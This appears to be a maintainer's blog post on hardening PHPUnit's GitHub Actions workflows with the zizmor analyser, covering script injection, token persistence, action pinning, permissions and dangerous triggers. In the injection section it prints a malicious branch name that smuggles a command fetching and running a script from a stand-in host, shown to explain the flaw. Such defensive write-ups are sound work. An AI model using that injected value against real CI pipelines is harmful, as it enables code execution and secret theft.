Built directly into GitHub, GitHub Actions is a platform for Continuous Integration/Continuous Delivery (CI/CD) and automation. Workflows execute in virtual environments and can be triggered by GitHub events such as pushes, pull requests, or schedules.
It's easy to forget that these machines run with credentials, network access, and permission to write back to my repository. A workflow is code, and code that touches secrets deserves the same care as any other security-relevant code.
This weekend, I worked through the GitHub Actions workflows of PHPUnit (and its dependencies) and tightened them step by step. To find the weak spots I used a static analyser that audits workflow files against a catalogue of well-known weaknesses. Before the first hardening commit, it reported 52 findings across three workflow files. After the last one, it reports none.
In the rest of this article I walk through the classes of findings the static analyser raised, explain why each is exploitable, and show how the issue was fixed.
Script injection via template expansion
The first and most dangerous category was template injection. The CI workflow contained, in several places, a line that looked harmless enough:
BRANCH=$([ "${{ github.event_name }}" == "pull_request" ] && echo "${{ github.head_ref }}" || echo "${{ github.ref_name }}")
GitHub Actions expands ${{ ... }} expressions before the shell ever sees the script. The runner takes the value of github.head_ref, splices it into the script as a literal string, and only then asks bash to interpret the result.
github.head_ref is the name of the source branch of a pull request. On a fork, the person opening the pull request chooses that name. A branch named main";curl evil.example/x|sh;# is a perfectly valid Git branch name, and when GitHub splices it into the script above, the resulting shell command is:
BRANCH=$([ "pull_request" == "pull_request" ] && echo "main";curl evil.example/x|sh;#" || echo "...")
The runner happily executes that. With one pull request, an attacker can run arbitrary code on the runner, with all of the secrets and tokens available to that workflow. This class of attack is called Poisoned Pipeline Execution. This is the GitHub Actions equivalent of an SQL injection: untrusted data is concatenated into code.
The fix is to never interpolate ${{ ... }} expressions into a shell script. Pass the values through environment variables instead, and quote them in the script:
- name: Use local branch
shell: bash
env:
EVENT_NAME: ${{ github.event_name }}
HEAD_REF: ${{ github.head_ref }}
REF_NAME: ${{ github.ref_name }}
run: |
if [ "$EVENT_NAME" = "pull_request" ]; then
BRANCH="$HEAD_REF"
else
BRANCH="$REF_NAME"
fi
git branch -D "$BRANCH" 2>/dev/null || true
git branch "$BRANCH" HEAD
git checkout "$BRANCH"
The values still come from GitHub, but they reach the script as ordinary shell variables. The shell does not re-interpret them as code, and the attacker's payload becomes the literal string it was always meant to be.
Credential persistence after checkout
The next finding was labelled ArtiPACKED: credential persistence through GitHub Actions artefacts.
By default, the actions/checkout action writes the workflow's GITHUB_TOKEN into .git/config so that later steps can push commits or call the GitHub API on behalf of the workflow. For most jobs that token is never needed again after the checkout. It sits in the working directory until the job ends.
That token isn't harmless. Anything that runs after the checkout step can read it. A Composer plugin, a test that uploads coverage, a third-party action pinned to a tag that was silently moved, a build script that prints the current directory tree into the logs: any of them can extract the token and, with it, push to the repository or call the API on behalf of the workflow. If the working directory is uploaded as an artefact, the token leaves the runner entirely.
The fix is one line per checkout:
- name: Checkout
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
with:
persist-credentials: false
The token is still available during the checkout itself. It is just not written to disk afterwards. Jobs that genuinely need to push something with the token (the release workflow in this case calls gh release create) get it through an explicit env: GH_TOKEN, which makes the use deliberate and visible.
Unpinned action references
Every step that begins with uses: pulls a third-party action into the workflow. Until the hardening pass, most of those steps referenced actions by floating tag:
uses: actions/checkout@v6 uses: shivammathur/setup-php@v2 uses: actions/cache@v5
A tag in Git is a movable label. Whoever controls the action's repository can repoint v6 at any commit at any time. That is normally a feature. It also means that an attacker who gains access to a popular action's repository (through a stolen maintainer credential, a typo-squatted dependency, a compromised CI token of their own) can repoint the tag at a malicious commit and instantly run code inside every workflow that uses that action. The tj-actions/changed-files compromise in March 2025 worked exactly like that.
The fix is to pin every action to a full commit SHA and keep the tag as a comment so the reference is still readable:
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6 uses: shivammathur/setup-php@7c071dfe9dc99bdf297fa79cb49ea005b9fcadbc # v2 uses: actions/cache@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5
A commit SHA is immutable. A new release of an action no longer enters the workflow automatically, and Renovate (or a similar tool) can keep the SHAs current with pull requests that I can actually review.
Overly broad permissions
Every workflow runs with a GITHUB_TOKEN whose scope is set by the permissions block. If no such block exists, the token gets the repository's default permissions, which on many repositories still include write access.
The release workflow had no top-level permissions block at all, so the static analyser flagged it as having excessive permissions. The exploit scenario is straightforward: a compromised action, an injection finding like the one above, or a poisoned dependency that happens to run during the release workflow can do anything the default token allows. That can include force-pushing branches, deleting tags, or opening pull requests against the repository.
The fix is to deny everything by default at the workflow level and grant the minimum required scope per job:
permissions: {}
jobs:
release:
permissions:
contents: write # needed to create the GitHub Release
The empty top-level block means that any job which forgets to declare its own permissions runs with no token permissions at all. A short comment on each grant explains why the scope is needed, which makes future reviews easier — something the analyser itself can check.
Unnecessary third-party actions
The release workflow used ncipollo/release-action to create the GitHub Release. That action does exactly one thing, and it is one thing that the GitHub CLI does too. The runner already has gh installed.
Every additional third-party action is another piece of code that runs inside the workflow with access to whatever secrets the job exposes. The static analyser's superfluous-actions audit points out when the runner already provides the functionality the action wraps, and reducing the attack surface by removing that action is the simplest mitigation.
The release step now invokes gh directly:
- name: Create release
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: gh release create "$RELEASE_TAG" --title "PHPUnit $RELEASE_TAG" --notes-file release-notes.md --target "13.2"
Dangerous triggers and the art of the suppression
Not every finding from a static analyser needs to be fixed. Some can only be addressed with a deliberate justification.
The api-surface-comment.yaml workflow runs on the workflow_run event so that it can post a comment on pull requests opened from forks. workflow_run is, as the static analyser correctly notes, a dangerous trigger: it executes with the permissions of the base repository, not the fork, which is exactly what makes it useful and what makes it dangerous. A workflow that triggers on workflow_run and then checks out the head ref of the pull request would execute attacker-controlled code with write access to the base repository.
The fix in this case is not to remove the trigger. It is to make sure that nothing in the workflow can be influenced by the pull request: the workflow runs a single pinned action, does not check out the PR's code, and writes only a comment. The finding is then suppressed inline with a comment that records the reasoning, so the next person to look at the file does not have to rediscover it:
on:
# zizmor: ignore[dangerous-triggers] workflow_run is required to comment on
# PRs from forks; this workflow only runs a pinned action and does not check
# out PR-controlled code.
workflow_run:
workflows: ["API Surface Check"]
types: [completed]
zizmor
The findings discussed above are not particular to PHPUnit's workflows. They are the categories of weakness that show up in workflows everywhere, including in the workflows of the largest Open Source projects on GitHub. A static analyser is the cheapest way I know to catch them before they reach production.
zizmor is the static analyser I used for the hardening pass on PHPUnit. It runs locally, finds each of the issues described in this article, and is well worth the few minutes it takes to add to your project. Point it at your workflows once, fix what it finds, and add it to CI so the next regression is caught the moment it is introduced:
❯ zizmor -p .github/workflows
Workflows are code. They deserve the same scrutiny we apply to the code they test.